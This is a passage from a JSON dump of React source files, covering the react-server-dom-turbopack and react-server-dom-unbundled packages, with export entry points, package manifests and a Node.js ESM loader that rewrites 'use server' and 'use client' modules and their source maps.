resolvedModuleData.chunks, name];\n  }\n}\n\nexport function getServerReferenceId<T>(\n  config: ClientManifest,\n  serverReference: ServerReference<T>,\n): ServerReferenceId {\n  return serverReference.$$id;\n}\n\nexport function getServerReferenceBoundArguments<T>(\n  config: ClientManifest,\n  serverReference: ServerReference<T>,\n): null | Array<ReactClientValue> {\n  return serverReference.$$bound;\n}\n\nexport function getServerReferenceLocation<T>(\n  config: ClientManifest,\n  serverReference: ServerReference<T>,\n): void | Error {\n  return serverReference.$$location;\n}\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/server/react-flight-dom-server.browser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToReadableStream,\n  prerender,\n  decodeReply,\n  decodeAction,\n  decodeFormState,\n  registerServerReference,\n  registerClientReference,\n  createClientModuleProxy,\n  createTemporaryReferenceSet,\n} from './ReactFlightDOMServerBrowser';\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/server/react-flight-dom-server.edge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToReadableStream,\n  prerender,\n  decodeReply,\n  decodeReplyFromAsyncIterable,\n  decodeAction,\n  decodeFormState,\n  registerServerReference,\n  registerClientReference,\n  createClientModuleProxy,\n  createTemporaryReferenceSet,\n} from './ReactFlightDOMServerEdge';\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/server/react-flight-dom-server.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToReadableStream,\n  renderToPipeableStream,\n  prerender,\n  prerenderToNodeStream,\n  decodeReply,\n  decodeReplyFromBusboy,\n  decodeReplyFromAsyncIterable,\n  decodeAction,\n  decodeFormState,\n  registerServerReference,\n  registerClientReference,\n  createClientModuleProxy,\n  createTemporaryReferenceSet,\n} from './ReactFlightDOMServerNode';\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/shared/ReactFlightImportMetadata.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport type ImportManifestEntry = {\n  id: string,\n  // chunks is an array of filenames\n  chunks: Array<string>,\n  name: string,\n  async?: boolean,\n};\n\n// This is the parsed shape of the wire format which is why it is\n// condensed to only the essentialy information\nexport type ImportMetadata =\n  | [\n      /* id */ string,\n      /* chunk filenames */ Array<string>,\n      /* name */ string,\n      /* async */ 1,\n    ]\n  | [/* id */ string, /* chunk filenames */ Array<string>, /* name */ string];\n\nexport const ID = 0;\nexport const CHUNKS = 1;\nexport const NAME = 2;\n// export const ASYNC = 3;\n\n// This logic is correct because currently only include the 4th tuple member\n// when the module is async. If that changes we will need to actually assert\n// the value is true. We don't index into the 4th slot because flow does not\n// like the potential out of bounds access\nexport function isAsyncImport(metadata: ImportMetadata): boolean {\n  return metadata.length === 4;\n}\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/static.browser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {prerender} from './src/server/react-flight-dom-server.browser';\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/static.edge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {prerender} from './src/server/react-flight-dom-server.edge';\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/static.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nthrow new Error(\n  'The React Server cannot be used outside a react-server environment. ' +\n    'You must configure Node.js using the `--conditions react-server` flag.',\n);\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/static.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  prerender,\n  prerenderToNodeStream,\n} from './src/server/react-flight-dom-server.node';\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/README.md",
    "content": "# react-server-dom-unbundled\n\nTest-only React Flight bindings for DOM using Node.js.\n\nThis only exists for internal testing.\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/client.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/client/react-flight-dom-client.node';\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/esm/package.json",
    "content": "{\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/esm/react-server-dom-unbundled-node-loader.production.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from '../src/ReactFlightUnbundledNodeLoader.js';\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nthrow new Error('Use react-server-dom-webpack/client instead.');\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/node-register.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nmodule.exports = require('./src/ReactFlightUnbundledNodeRegister');\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/npm/client.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-server-dom-unbundled-client.node.production.js');\n} else {\n  module.exports = require('./cjs/react-server-dom-unbundled-client.node.development.js');\n}\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/npm/esm/package.json",
    "content": "{\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/npm/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\nthrow new Error('Use react-server-dom-unbundled/client instead.');\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/npm/node-register.js",
    "content": "'use strict';\n\nmodule.exports = require('./cjs/react-server-dom-unbundled-node-register.js');\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/npm/server.js",
    "content": "'use strict';\n\nthrow new Error(\n  'The React Server Writer cannot be used outside a react-server environment. ' +\n    'You must configure Node.js using the `--conditions react-server` flag.'\n);\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/npm/server.node.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-unbundled-server.node.production.js');\n} else {\n  s = require('./cjs/react-server-dom-unbundled-server.node.development.js');\n}\n\nexports.renderToReadableStream = s.renderToReadableStream;\nexports.renderToPipeableStream = s.renderToPipeableStream;\nexports.decodeReply = s.decodeReply;\nexports.decodeReplyFromBusboy = s.decodeReplyFromBusboy;\nexports.decodeReplyFromAsyncIterable = s.decodeReplyFromAsyncIterable;\nexports.decodeAction = s.decodeAction;\nexports.decodeFormState = s.decodeFormState;\nexports.registerServerReference = s.registerServerReference;\nexports.registerClientReference = s.registerClientReference;\nexports.createClientModuleProxy = s.createClientModuleProxy;\nexports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/npm/static.js",
    "content": "'use strict';\n\nthrow new Error(\n  'The React Server Writer cannot be used outside a react-server environment. ' +\n    'You must configure Node.js using the `--conditions react-server` flag.'\n);\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/npm/static.node.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-unbundled-server.node.production.js');\n} else {\n  s = require('./cjs/react-server-dom-unbundled-server.node.development.js');\n}\n\nexports.prerender = s.prerender;\nexports.prerenderToNodeStream = s.prerenderToNodeStream;\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/package.json",
    "content": "{\n  \"name\": \"react-server-dom-unbundled\",\n  \"description\": \"React Server Components bindings for DOM using Node.js. This only exists for internal testing.\",\n  \"version\": \"0.0.0\",\n  \"private\": true,\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"index.js\",\n    \"client.js\",\n    \"server.js\",\n    \"server.node.js\",\n    \"static.js\",\n    \"static.node.js\",\n    \"node-register.js\",\n    \"cjs/\",\n    \"esm/\"\n  ],\n  \"exports\": {\n    \".\": \"./index.js\",\n    \"./client\": \"./client.js\",\n    \"./server\": {\n      \"react-server\": \"./server.node.js\",\n      \"default\": \"./server.js\"\n    },\n    \"./server.node\": \"./server.node.js\",\n    \"./static\": {\n      \"react-server\": \"./static.node.js\",\n      \"default\": \"./static.js\"\n    },\n    \"./static.node\": \"./static.node.js\",\n    \"./node-loader\": \"./esm/react-server-dom-unbundled-node-loader.production.js\",\n    \"./node-register\": \"./node-register.js\",\n    \"./src/*\": \"./src/*.js\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"main\": \"index.js\",\n  \"peerDependencies\": {\n    \"react\": \"^19.0.0\",\n    \"react-dom\": \"^19.0.0\"\n  },\n  \"dependencies\": {\n    \"acorn-loose\": \"^8.3.0\",\n    \"webpack-sources\": \"^3.2.0\"\n  }\n}\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/server.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nthrow new Error(\n  'The React Server cannot be used outside a react-server environment. ' +\n    'You must configure Node.js using the `--conditions react-server` flag.',\n);\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/server.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToPipeableStream,\n  renderToReadableStream,\n  decodeReply,\n  decodeReplyFromBusboy,\n  decodeReplyFromAsyncIterable,\n  decodeAction,\n  decodeFormState,\n  registerServerReference,\n  registerClientReference,\n  createClientModuleProxy,\n  createTemporaryReferenceSet,\n} from './src/server/react-flight-dom-server.node';\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/src/ReactFlightUnbundledNodeLoader.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as acorn from 'acorn-loose';\n\nimport readMappings from 'webpack-sources/lib/helpers/readMappings.js';\nimport createMappingsSerializer from 'webpack-sources/lib/helpers/createMappingsSerializer.js';\n\ntype ResolveContext = {\n  conditions: Array<string>,\n  parentURL: string | void,\n};\n\ntype ResolveFunction = (\n  string,\n  ResolveContext,\n  ResolveFunction,\n) => {url: string} | Promise<{url: string}>;\n\ntype GetSourceContext = {\n  format: string,\n};\n\ntype GetSourceFunction = (\n  string,\n  GetSourceContext,\n  GetSourceFunction,\n) => Promise<{source: Source}>;\n\ntype TransformSourceContext = {\n  format: string,\n  url: string,\n};\n\ntype TransformSourceFunction = (\n  Source,\n  TransformSourceContext,\n  TransformSourceFunction,\n) => Promise<{source: Source}>;\n\ntype LoadContext = {\n  conditions: Array<string>,\n  format: string | null | void,\n  importAssertions: Object,\n};\n\ntype LoadFunction = (\n  string,\n  LoadContext,\n  LoadFunction,\n) => Promise<{format: string, shortCircuit?: boolean, source: Source}>;\n\ntype Source = string | ArrayBuffer | Uint8Array;\n\nlet warnedAboutConditionsFlag = false;\n\nlet stashedGetSource: null | GetSourceFunction = null;\nlet stashedResolve: null | ResolveFunction = null;\n\nexport async function resolve(\n  specifier: string,\n  context: ResolveContext,\n  defaultResolve: ResolveFunction,\n): Promise<{url: string}> {\n  // We stash this in case we end up needing to resolve export * statements later.\n  stashedResolve = defaultResolve;\n\n  if (!context.conditions.includes('react-server')) {\n    context = {\n      ...context,\n      conditions: [...context.conditions, 'react-server'],\n    };\n    if (!warnedAboutConditionsFlag) {\n      warnedAboutConditionsFlag = true;\n      // eslint-disable-next-line react-internal/no-production-logging\n      console.warn(\n        'You did not run Node.js with the `--conditions react-server` flag. ' +\n          'Any \"react-server\" override will only work with ESM imports.',\n      );\n    }\n  }\n  return await defaultResolve(specifier, context, defaultResolve);\n}\n\nexport async function getSource(\n  url: string,\n  context: GetSourceContext,\n  defaultGetSource: GetSourceFunction,\n): Promise<{source: Source}> {\n  // We stash this in case we end up needing to resolve export * statements later.\n  stashedGetSource = defaultGetSource;\n  return defaultGetSource(url, context, defaultGetSource);\n}\n\ntype ExportedEntry = {\n  localName: string,\n  exportedName: string,\n  type: null | string,\n  loc: {\n    start: {line: number, column: number},\n    end: {line: number, column: number},\n  },\n  originalLine: number,\n  originalColumn: number,\n  originalSource: number,\n  nameIndex: number,\n};\n\nfunction addExportedEntry(\n  exportedEntries: Array<ExportedEntry>,\n  localNames: Set<string>,\n  localName: string,\n  exportedName: string,\n  type: null | 'function',\n  loc: {\n    start: {line: number, column: number},\n    end: {line: number, column: number},\n  },\n) {\n  if (localNames.has(localName)) {\n    // If the same local name is exported more than once, we only need one of the names.\n    return;\n  }\n  exportedEntries.push({\n    localName,\n    exportedName,\n    type,\n    loc,\n    originalLine: -1,\n    originalColumn: -1,\n    originalSource: -1,\n    nameIndex: -1,\n  });\n}\n\nfunction addLocalExportedNames(\n  exportedEntries: Array<ExportedEntry>,\n  localNames: Set<string>,\n  node: any,\n) {\n  switch (node.type) {\n    case 'Identifier':\n      addExportedEntry(\n        exportedEntries,\n        localNames,\n        node.name,\n        node.name,\n        null,\n        node.loc,\n      );\n      return;\n    case 'ObjectPattern':\n      for (let i = 0; i < node.properties.length; i++)\n        addLocalExportedNames(exportedEntries, localNames, node.properties[i]);\n      return;\n    case 'ArrayPattern':\n      for (let i = 0; i < node.elements.length; i++) {\n        const element = node.elements[i];\n        if (element)\n          addLocalExportedNames(exportedEntries, localNames, element);\n      }\n      return;\n    case 'Property':\n      addLocalExportedNames(exportedEntries, localNames, node.value);\n      return;\n    case 'AssignmentPattern':\n      addLocalExportedNames(exportedEntries, localNames, node.left);\n      return;\n    case 'RestElement':\n      addLocalExportedNames(exportedEntries, localNames, node.argument);\n      return;\n    case 'ParenthesizedExpression':\n      addLocalExportedNames(exportedEntries, localNames, node.expression);\n      return;\n  }\n}\n\nfunction transformServerModule(\n  source: string,\n  program: any,\n  url: string,\n  sourceMap: any,\n  loader: LoadFunction,\n): string {\n  const body = program.body;\n\n  // This entry list needs to be in source location order.\n  const exportedEntries: Array<ExportedEntry> = [];\n  // Dedupe set.\n  const localNames: Set<string> = new Set();\n\n  for (let i = 0; i < body.length; i++) {\n    const node = body[i];\n    switch (node.type) {\n      case 'ExportAllDeclaration':\n        // If export * is used, the other file needs to explicitly opt into \"use server\" too.\n        break;\n      case 'ExportDefaultDeclaration':\n        if (node.declaration.type === 'Identifier') {\n          addExportedEntry(\n            exportedEntries,\n            localNames,\n            node.declaration.name,\n            'default',\n            null,\n            node.declaration.loc,\n          );\n        } else if (node.declaration.type === 'FunctionDeclaration') {\n          if (node.declaration.id) {\n            addExportedEntry(\n              exportedEntries,\n              localNames,\n              node.declaration.id.name,\n              'default',\n              'function',\n              node.declaration.id.loc,\n            );\n          } else {\n            // TODO: This needs to be rewritten inline because it doesn't have a local name.\n          }\n        }\n        continue;\n      case 'ExportNamedDeclaration':\n        if (node.declaration) {\n          if (node.declaration.type === 'VariableDeclaration') {\n            const declarations = node.declaration.declarations;\n            for (let j = 0; j < declarations.length; j++) {\n              addLocalExportedNames(\n                exportedEntries,\n                localNames,\n                declarations[j].id,\n              );\n            }\n          } else {\n            const name = node.declaration.id.name;\n            addExportedEntry(\n              exportedEntries,\n              localNames,\n              name,\n              name,\n\n              node.declaration.type === 'FunctionDeclaration'\n                ? 'function'\n                : null,\n              node.declaration.id.loc,\n            );\n          }\n        }\n        if (node.specifiers) {\n          const specifiers = node.specifiers;\n          for (let j = 0; j < specifiers.length; j++) {\n            const specifier = specifiers[j];\n            addExportedEntry(\n              exportedEntries,\n              localNames,\n              specifier.local.name,\n              specifier.exported.name,\n              null,\n              specifier.local.loc,\n            );\n          }\n        }\n        continue;\n    }\n  }\n\n  let mappings =\n    sourceMap && typeof sourceMap.mappings === 'string'\n      ? sourceMap.mappings\n      : '';\n  let newSrc = source;\n\n  if (exportedEntries.length > 0) {\n    let lastSourceIndex = 0;\n    let lastOriginalLine = 0;\n    let lastOriginalColumn = 0;\n    let lastNameIndex = 0;\n    let sourceLineCount = 0;\n    let lastMappedLine = 0;\n\n    if (sourceMap) {\n      // We iterate source mapping entries and our matched exports in parallel to source map\n      // them to their original location.\n      let nextEntryIdx = 0;\n      let nextEntryLine = exportedEntries[nextEntryIdx].loc.start.line;\n      let nextEntryColumn = exportedEntries[nextEntryIdx].loc.start.column;\n      readMappings(\n        mappings,\n        (\n          generatedLine: number,\n          generatedColumn: number,\n          sourceIndex: number,\n          originalLine: number,\n          originalColumn: number,\n          nameIndex: number,\n        ) => {\n          if (\n            generatedLine > nextEntryLine ||\n            (generatedLine === nextEntryLine &&\n              generatedColumn > nextEntryColumn)\n          ) {\n            // We're past the entry which means that the best match we have is the previous entry.\n            if (lastMappedLine === nextEntryLine) {\n              // Match\n              exportedEntries[nextEntryIdx].originalLine = lastOriginalLine;\n              exportedEntries[nextEntryIdx].originalColumn = lastOriginalColumn;\n              exportedEntries[nextEntryIdx].originalSource = lastSourceIndex;\n              exportedEntries[nextEntryIdx].nameIndex = lastNameIndex;\n            } else {\n              // Skip if we didn't have any mappings on the exported line.\n            }\n            nextEntryIdx++;\n            if (nextEntryIdx < exportedEntries.length) {\n              nextEntryLine = exportedEntries[nextEntryIdx].loc.start.line;\n              nextEntryColumn = exportedEntries[nextEntryIdx].loc.start.column;\n            } else {\n              nextEntryLine = -1;\n              nextEntryColumn = -1;\n            }\n          }\n          lastMappedLine = generatedLine;\n          if (sourceIndex > -1) {\n            lastSourceIndex = sourceIndex;\n          }\n          if (originalLine > -1) {\n            lastOriginalLine = originalLine;\n          }\n          if (originalColumn > -1) {\n            lastOriginalColumn = originalColumn;\n          }\n          if (nameIndex > -1) {\n            lastNameIndex = nameIndex;\n          }\n        },\n      );\n      if (nextEntryIdx < exportedEntries.length) {\n        if (lastMappedLine === nextEntryLine) {\n          // Match\n          exportedEntries[nextEntryIdx].originalLine = lastOriginalLine;\n          exportedEntries[nextEntryIdx].originalColumn = lastOriginalColumn;\n          exportedEntries[nextEntryIdx].originalSource = lastSourceIndex;\n          exportedEntries[nextEntryIdx].nameIndex = lastNameIndex;\n        }\n      }\n\n      for (\n        let lastIdx = mappings.length - 1;\n        lastIdx >= 0 && mappings[lastIdx] === ';';\n        lastIdx--\n      ) {\n        // If the last mapped lines don't contain any segments, we don't get a callback from readMappings\n        // so we need to pad the number of mapped lines, with one for each empty line.\n        lastMappedLine++;\n      }\n\n      sourceLineCount = program.loc.end.line;\n      if (sourceLineCount < lastMappedLine) {\n        throw new Error(\n          'The source map has more mappings than there are lines.',\n        );\n      }\n      // If the original source string had more lines than there are mappings in the source map.\n      // Add some extra padding of unmapped lines so that any lines that we add line up.\n      for (\n        let extraLines = sourceLineCount - lastMappedLine;\n        extraLines > 0;\n        extraLines--\n      ) {\n        mappings += ';';\n      }\n    } else {\n      // If a file doesn't have a source map then we generate a blank source map that just\n      // contains the original content and segments pointing to the original lines.\n      sourceLineCount = 1;\n      let idx = -1;\n      while ((idx = source.indexOf('\\n', idx + 1)) !== -1) {\n        sourceLineCount++;\n      }\n      mappings = 'AAAA' + ';AACA'.repeat(sourceLineCount - 1);\n      sourceMap = {\n        version: 3,\n        sources: [url],\n        sourcesContent: [source],\n        mappings: mappings,\n        sourceRoot: '',\n      };\n      lastSourceIndex = 0;\n      lastOriginalLine = sourceLineCount;\n      lastOriginalColumn = 0;\n      lastNameIndex = -1;\n      lastMappedLine = sourceLineCount;\n\n      for (let i = 0; i < exportedEntries.length; i++) {\n        // Point each entry to original location.\n        const entry = exportedEntries[i];\n        entry.originalSource = 0;\n        entry.originalLine = entry.loc.start.line;\n        // We use column zero since we do the short-hand line-only source maps above.\n        entry.originalColumn = 0; // entry.loc.start.column;\n      }\n    }\n\n    newSrc += '\\n\\n;';\n    newSrc +=\n      'import {registerServerReference} from \"react-server-dom-webpack/server\";\\n';\n    if (mappings) {\n      mappings += ';;';\n    }\n\n    const createMapping = createMappingsSerializer();\n\n    // Create an empty mapping pointing to where we last left off to reset the counters.\n    let generatedLine = 1;\n    createMapping(\n      generatedLine,\n      0,\n      lastSourceIndex,\n      lastOriginalLine,\n      lastOriginalColumn,\n      lastNameIndex,\n    );\n    for (let i = 0; i < exportedEntries.length; i++) {\n      const entry = exportedEntries[i];\n      generatedLine++;\n      if (entry.type !== 'function') {\n        // We first check if the export is a function and if so annotate it.\n        newSrc += 'if (typeof ' + entry.localName + ' === \"function\") ';\n      }\n      newSrc += 'registerServerReference(' + entry.localName + ',';\n      newSrc += JSON.stringify(url) + ',';\n      newSrc += JSON.stringify(entry.exportedName) + ');\\n';\n\n      mappings += createMapping(\n        generatedLine,\n        0,\n        entry.originalSource,\n        entry.originalLine,\n        entry.originalColumn,\n        entry.nameIndex,\n      );\n    }\n  }\n\n  if (sourceMap) {\n    // Override with an new mappings and serialize an inline source map.\n    sourceMap.mappings = mappings;\n    newSrc +=\n      '//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +\n      Buffer.from(JSON.stringify(sourceMap)).toString('base64');\n  }\n\n  return newSrc;\n}\n\nfunction addExportNames(names: Array<string>, node: any) {\n  switch (node.type) {\n    case 'Identifier':\n      names.push(node.name);\n      return;\n    case 'ObjectPattern':\n      for (let i = 0; i < node.properties.length; i++)\n        addExportNames(names, node.properties[i]);\n      return;\n    case 'ArrayPattern':\n      for (let i = 0; i < node.elements.length; i++) {\n        const element = node.elements[i];\n        if (element) addExportNames(names, element);\n      }\n      return;\n    case 'Property':\n      addExportNames(names, node.value);\n      return;\n    case 'AssignmentPattern':\n      addExportNames(names, node.left);\n      return;\n    case 'RestElement':\n      addExportNames(names, node.argument);\n      return;\n    case 'ParenthesizedExpression':\n      addExportNames(names, node.expression);\n      return;\n  }\n}\n\nfunction resolveClientImport(\n  specifier: string,\n  parentURL: string,\n): {url: string} | Promise<{url: string}> {\n  // Resolve an import specifier as if it was loaded by the client. This doesn't use\n  // the overrides that this loader does but instead reverts to the default.\n  // This resolution algorithm will not necessarily have the same configuration\n  // as the actual client loader. It should mostly work and if it doesn't you can\n  // always convert to explicit exported names instead.\n  const conditions = ['node', 'import'];\n  if (stashedResolve === null) {\n    throw new Error(\n      'Expected resolve to have been called before transformSource',\n    );\n  }\n  return stashedResolve(specifier, {conditions, parentURL}, stashedResolve);\n}\n\nasync function parseExportNamesInto(\n  body: any,\n  names: Array<string>,\n  parentURL: string,\n  loader: LoadFunction,\n): Promise<void> {\n  for (let i = 0; i < body.length; i++) {\n    const node = body[i];\n    switch (node.type) {\n      case 'ExportAllDeclaration':\n        if (node.exported) {\n          addExportNames(names, node.exported);\n          continue;\n        } else {\n          const {url} = await resolveClientImport(node.source.value, parentURL);\n          const {source} = await loader(\n            url,\n            {format: 'module', conditions: [], importAssertions: {}},\n            loader,\n          );\n          if (typeof source !== 'string') {\n            throw new Error('Expected the transformed source to be a string.');\n          }\n          let childBody;\n          try {\n            childBody = acorn.parse(source, {\n              ecmaVersion: '2024',\n              sourceType: 'module',\n            }).body;\n          } catch (x) {\n            // eslint-disable-next-line react-internal/no-production-logging\n            console.error('Error parsing %s %s', url, x.message);\n            continue;\n          }\n          await parseExportNamesInto(childBody, names, url, loader);\n          continue;\n        }\n      case 'ExportDefaultDeclaration':\n        names.push('default');\n        continue;\n      case 'ExportNamedDeclaration':\n        if (node.declaration) {\n          if (node.declaration.type === 'VariableDeclaration') {\n            const declarations = node.declaration.declarations;\n            for (let j = 0; j < declarations.length; j++) {\n              addExportNames(names, declarations[j].id);\n            }\n          } else {\n            addExportNames(names, node.declaration.id);\n          }\n        }\n        if (node.specifiers) {\n          const specifiers = node.specifiers;\n          for (let j = 0; j < specifiers.length; j++) {\n            addExportNames(names, specifiers[j].exported);\n          }\n        }\n        continue;\n    }\n  }\n}\n\nasync function transformClientModule(\n  program: any,\n  url: string,\n  sourceMap: any,\n  loader: LoadFunction,\n): Promise<string> {\n  const body = program.body;\n\n  const names: Array<string> = [];\n\n  await parseExportNamesInto(body, names, url, loader);\n\n  if (names.length === 0) {\n    return '';\n  }\n\n  let newSrc =\n    'import {registerClientReference} from \"react-server-dom-webpack/server\";\\n';\n  for (let i = 0; i < names.length; i++) {\n    const name = names[i];\n    if (name === 'default') {\n      newSrc += 'export default ';\n      newSrc += 'registerClientReference(function() {';\n      newSrc +=\n        'throw new Error(' +\n        JSON.stringify(\n          `Attempted to call the default export of ${url} from the server ` +\n            `but it's on the client. It's not possible to invoke a client function from ` +\n            `the server, it can only be rendered as a Component or passed to props of a ` +\n            `Client Component.`,\n        ) +\n        ');';\n    } else {\n      newSrc += 'export const ' + name + ' = ';\n      newSrc += 'registerClientReference(function() {';\n      newSrc +=\n        'throw new Error(' +\n        JSON.stringify(\n          `Attempted to call ${name}() from the server but ${name} is on the client. ` +\n            `It's not possible to invoke a client function from the server, it can ` +\n            `only be rendered as a Component or passed to props of a Client Component.`,\n        ) +\n        ');';\n    }\n    newSrc += '},';\n    newSrc += JSON.stringify(url) + ',';\n    newSrc += JSON.stringify(name) + ');\\n';\n  }\n\n  // TODO: Generate source maps for Client Reference functions so they can point to their\n  // original locations.\n  return newSrc;\n}\n\nasync function loadClientImport(\n  url: string,\n  defaultTransformSource: TransformSourceFunction,\n): Promise<{format: string, shortCircuit?: boolean, source: Source}> {\n  if (stashedGetSource === null) {\n    throw new Error(\n      'Expected getSource to have been called before transformSource',\n    );\n  }\n  // TODO: Validate that this is another module by calling getFormat.\n  const {source} = await stashedGetSource(\n    url,\n    {format: 'module'},\n    stashedGetSource,\n  );\n  const result = await defaultTransformSource(\n    source,\n    {format: 'module', url},\n    defaultTransformSource,\n  );\n  return {format: 'module', source: result.source};\n}\n\nasync function transformModuleIfNeeded(\n  source: string,\n  url: string,\n  loader: LoadFunction,\n): Promise<string> {\n  // Do a quick check for the exact string. If it doesn't exist, don't\n  // bother parsing.\n  if (\n    source.indexOf('use client') === -1 &&\n    source.indexOf('use server') === -1\n  ) {\n    return source;\n  }\n\n  let sourceMappingURL = null;\n  let sourceMappingStart = 0;\n  let sourceMappingEnd = 0;\n  let sourceMappingLines = 0;\n\n  let program;\n  try {\n    program = acorn.parse(source, {\n      ecmaVersion: '2024',\n      sourceType: 'module',\n      locations: true,\n      onComment(\n        block: boolean,\n        text: string,\n        start: number,\n        end: number,\n        startLoc: {line: number, column: number},\n        endLoc: {line: number, column: number},\n      ) {\n        if (\n          text.startsWith('# sourceMappingURL=') ||\n          text.startsWith('@ sourceMappingURL=')\n        ) {\n          sourceMappingURL = text.slice(19);\n          sourceMappingStart = start;\n          sourceMappingEnd = end;\n          sourceMappingLines = endLoc.line - startLoc.line;\n        }\n      },\n    });\n  } catch (x) {\n    // eslint-disable-next-line react-internal/no-production-logging\n    console.error('Error parsing %s %s', url, x.message);\n    return source;\n  }\n\n  let useClient = false;\n  let useServer = false;\n\n  const body = program.body;\n  for (let i = 0; i < body.length; i++) {\n    const node = body[i];\n    if (node.type !== 'ExpressionStatement' || !node.directive) {\n      break;\n    }\n    if (node.directive === 'use client') {\n      useClient = true;\n    }\n    if (node.directive === 'use server') {\n      useServer = true;\n    }\n  }\n\n  if (!useClient && !useServer) {\n    return source;\n  }\n\n  if (useClient && useServer) {\n    throw new Error(\n      'Cannot have both \"use client\" and \"use server\" directives in the same file.',\n    );\n  }\n\n  let sourceMap = null;\n  if (sourceMappingURL) {\n    const sourceMapResult = await loader(\n      sourceMappingURL,\n      // $FlowFixMe\n      {\n        format: 'json',\n        conditions: [],\n        importAssertions: {type: 'json'},\n        importAttributes: {type: 'json'},\n      },\n      loader,\n    );\n    const sourceMapString =\n      typeof sourceMapResult.source === 'string'\n        ? sourceMapResult.source\n        : // $FlowFixMe\n          sourceMapResult.source.toString('utf8');\n    sourceMap = JSON.parse(sourceMapString);\n\n    // Strip the source mapping comment. We'll re-add it below if needed.\n    source =\n      source.slice(0, sourceMappingStart) +\n      '\\n'.repeat(sourceMappingLines) +\n      source.slice(sourceMappingEnd);\n  }\n\n  if (useClient) {\n    return transformClientModule(program, url, sourceMap, loader);\n  }\n\n  return transformServerModule(source, program, url, sourceMap, loader);\n}\n\nexport async function transformSource(\n  source: Source,\n  context: TransformSourceContext,\n  defaultTransformSource: TransformSourceFunction,\n): 